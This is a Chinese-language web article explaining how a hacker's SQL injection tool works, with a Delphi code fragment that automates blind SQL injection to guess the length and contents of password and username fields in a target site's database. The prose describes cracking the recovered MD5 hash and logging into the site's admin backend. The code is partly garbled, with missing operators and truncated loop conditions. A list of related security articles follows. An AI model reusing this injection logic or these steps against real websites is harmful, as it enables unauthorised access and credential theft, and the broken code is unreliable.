黑客的腳本漏洞工具分析(圖)

上圖只是對一個網(wǎng)站注入點的工具檢測,當然看到了結(jié)果掃出來的密碼為16位的md5加密碼,但我們可以通過md5密碼pj工具進行pj的。然后找到后臺用所得的用戶名和密碼進行登錄即可。對于黑客軟件,其實并不是我們想象的那么復(fù)雜,只是根據(jù)掌握的漏洞信息提交相應(yīng)該的數(shù)據(jù)罷了,我們看下下面一段用delphi寫的注入的片段就清楚不過了。這里控件的設(shè)置和線程的創(chuàng)建略,我們主要是看看猜解的過程,如下:
procedure TMainForm.GuessContProc(ListInt: integer); { SQL注入 - 多線程猜解字段內(nèi)容 }
function SQLTextFunc(URl, TopStr, TableName, FieldName, LevelStr: string; Len: integer): string;
begin
Result := Url ’ and exists(select * from ’ TableName ’ where len(’ FieldName ’)’ LevelStr IntToStr(Len) ’ and id=(Select max(id) From ’ TableName ’ where id in (select top ’ TOPStr ’ id from ’ TableName ’ Order by id)))’
end;
var
TableName: string;
FieldName, S: string;
ContentInt: integer;
i, Len, LengthInt, N: integer;
GridCount: integer;
Colu: TColumn;
FlagBool: boolean;
begin
Len := 0;
LengthInt := 0;
FlagBool := True;
TableName := TableNameLst.Items[TableNameLst.Itemindex];
FieldName := Memo2.Lines[ListInt];
if (LowerCase(FieldName) = ’password’) or (LowerCase(FieldName) = ’pass’) or
(LowerCase(FieldName) = ’admin_pass’) or (FieldName = ’密碼’) or
(LowerCase(FieldName) = ’userpassword’) or (LowerCase(FieldName) = ’passwd’) then
begin
ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, 16), 800);
if ContentInt >= and1Num then
begin
SqlResultMemo.Lines.Add(FieldName ’長度: 16’);
LengthInt := 16
end
else
begin
while (Len
begin
application.ProcessMessages;
inc(Len, 2);
Pane1.Caption := ’正在檢測長度:Len(’ FieldName ’)=’ inttostr(Len);
ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’
if ContentInt >= and1Num then
begin
for N := Len - 1 to Len do
begin
ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, N), 800);
if ContentInt >= and1Num then
begin
LengthInt := N;
SqlResultMemo.Lines.Add(FieldName ’長度: ’ inttostr(N));
FlagBool := False;
Break;
end; // if
end; // for
end; // if
end; // while
end;
end
else
begin
while (Len
begin
application.ProcessMessages;
inc(Len, 2);
Pane1.Caption := ’正在檢測長度:Len(’ FieldName ’)=’ inttostr(Len);
ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’
if ContentInt >= and1Num then
begin
for N := Len - 1 to Len do
begin
ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, N), 800);
if ContentInt >= and1Num then
begin
LengthInt := N;
SqlResultMemo.Lines.Add(FieldName ’長度: ’ inttostr(N));
FlagBool := False;
Break;
end; // if
end; // for
end; // if
end; // while
end;
GuessLsv.Clear;
if Len >= 50 then
begin
sql_EdUrl.Enabled := True;
Sql_GuessTable.Enabled := True;
TableNameLst.Enabled := True;
FieldNameLst.Enabled := True;
application.MessageBox(’列名長度大于50,猜解失敗!’, ’提示’, 32);
Exit;
end;
Pane1.Caption := ’正在檢測’ FieldName ’的內(nèi)容...’;
GuessLsv.Update;
if LengthInt = 5 then
begin
ContentInt := Get_HttpSize(Sql_EdUrl.Text ’ and exists (select top ’ sqlEdTop.Text ’ ’ FieldName ’ from ’ TableName ’ where instr(’ FieldName ’,’’admin’’)=1 and len(username)=5)’);
if ContentInt >= and1Num then
begin
s := ’admin’;
for i := 1 to 5 do
begin
application.ProcessMessages;
with GuessLsv.Items.Add do
begin
caption := ’第’ inttostr(i) ’位’;
SubItems.Add(s);
end;
sleep(60);
GuessLsv.Update;
end;
inc(SQL_ScanContent_ThreadCreateCount);
StringGrid1.Cells[SQL_ScanContent_ThreadCreateCount - 1, 1] := ’admin’;
StringGrid1.Cells[SQL_ScanContent_ThreadCreateCount, 1] := ’檢測中...’;
SqlResultMemo.Lines.Add(FieldNameLst.Items[FieldNameLst.Itemindex] ’內(nèi)容:admin’);
if SQL_ScanContent_ThreadCreateCount
GuessContProc(SQL_ScanContent_ThreadCreateCount - 1);
Exit;
end
else
begin
for i := 1 to LengthInt do
begin
application.ProcessMessages;
with GuessLsv.Items.Add do
begin
caption := ’第’ inttostr(i) ’位’;
SubItems.Add(’檢測中’);
end;
sleep(30);
end;
end;
end
else
begin
for i := 1 to LengthInt do
begin
application.ProcessMessages;
with GuessLsv.Items.Add do
begin
caption := ’第’ inttostr(i) ’位’;
SubItems.Add(’檢測中’);
end;
sleep(30);
end;
end;
從上面的代碼中,我們可以看出,黑客軟件只是代替了手工操作,通過多線程更進一步提高了猜解的速度,但猜解的表和字段還得我們自己設(shè)定,然后通過post提交我們設(shè)定的格式(其中url中的 是空格的意思,因為在網(wǎng)址后面執(zhí)行相應(yīng)的sql語句時都要有相應(yīng)的空格),按照我們設(shè)定的表和字段猜解出相應(yīng)的用戶名和密碼內(nèi)容。
相關(guān)文章
封UDP的服務(wù)器真的打不了么?封UDP、封海外服務(wù)器
很多游戲服務(wù)器租用的時候會出現(xiàn)一些封UDP的字眼,網(wǎng)上一些文章也說UDP協(xié)議不可靠!為什么要封UDP呢?既然不可靠,為什么有些人還要使用它呢?今天與你們分享一下UDP,希望2024-05-07魔獸世界服務(wù)器被DDoS攻擊怎么辦?DDoS攻擊防御方法
魔獸世界服務(wù)器被攻擊在目前來說也是比較常見的,同行競爭激烈,在官服開放時也遇到過DDOS攻擊,要是飛飛沒記錯是在22年9月14日,從剛開始的身份驗證服務(wù)器出現(xiàn)問題,到確2023-07-17分享五大免費企業(yè)網(wǎng)絡(luò)入侵檢測(IDS)工具
這篇文章主要分享一下五大免費企業(yè)網(wǎng)絡(luò)入侵檢測(IDS)工具,當前企業(yè)對于網(wǎng)絡(luò)安全越來越重視,那么后期可能就需要大家多多關(guān)注一些安全工具的使用于檢測2019-12-01網(wǎng)絡(luò)安全基礎(chǔ)之網(wǎng)絡(luò)協(xié)議與安全威脅的關(guān)系介紹
網(wǎng)絡(luò)協(xié)議是什么呢?網(wǎng)絡(luò)協(xié)議是網(wǎng)絡(luò)中計算機或設(shè)備之間進行通信的一系列規(guī)則集合。本文中小編介紹的是網(wǎng)絡(luò)協(xié)議和安全威脅的關(guān)系,需要的朋友不妨閱讀本文了解一下2019-04-02- DDoS攻擊是由DoS攻擊轉(zhuǎn)化的,這項攻擊的原理以及表現(xiàn)形式是怎樣的呢?要如何的進行防御呢?本文中將會有詳細的介紹,需要的朋友不妨閱讀本文進行參考2019-01-15
基于Web攻擊的方式發(fā)現(xiàn)并攻擊物聯(lián)網(wǎng)設(shè)備介紹
本文中介紹的是基于Web攻擊的方式發(fā)現(xiàn)并攻擊物聯(lián)網(wǎng)設(shè)備,感興趣的朋友不妨閱讀本文進行了解2019-01-11為何黑客要挾制路由器DNS 用戶該怎樣實時發(fā)覺和防備方法
起首說說挾制路由器是什么意思,路由器挾制平日指的是,開啟了無線網(wǎng)絡(luò)功效的無線路由器,攻擊者經(jīng)由過程破解無線暗碼銜接上無線網(wǎng)后,再登錄路由治理界面來節(jié)制全部無線網(wǎng)2018-05-16大勢至共享文件監(jiān)控軟件、共享文件權(quán)限管理軟件主控端與客戶端的連接設(shè)
這篇文章主要介紹了大勢至共享文件監(jiān)控軟件、共享文件權(quán)限管理軟件主控端與客戶端的連接設(shè)置方法詳解,,小編覺得還是挺不錯的,具有一定借鑒價值,下面就來和小編一起看看2018-01-25詳細介紹sd卡加密軟件的選擇以及給sd卡設(shè)置密碼、給sd卡加密
這篇文章主要介紹了詳細介紹sd卡加密軟件的選擇以及給sd卡設(shè)置密碼、給sd卡加密,如何保護sd卡文件的安全,如何給SD卡設(shè)置密碼、如何給SD卡加密,下面就跟小編一起來看看吧2018-01-19server2008共享設(shè)置、服務(wù)器共享文件設(shè)置、服務(wù)器設(shè)置共享文件夾的方法
這篇文章主要介紹了server2008共享設(shè)置、服務(wù)器共享文件設(shè)置、服務(wù)器設(shè)置共享文件夾的方法詳細介紹,保護服務(wù)器共享文件設(shè)置訪問權(quán)限,讓每個部門只訪問自己的共享文件等,2018-01-19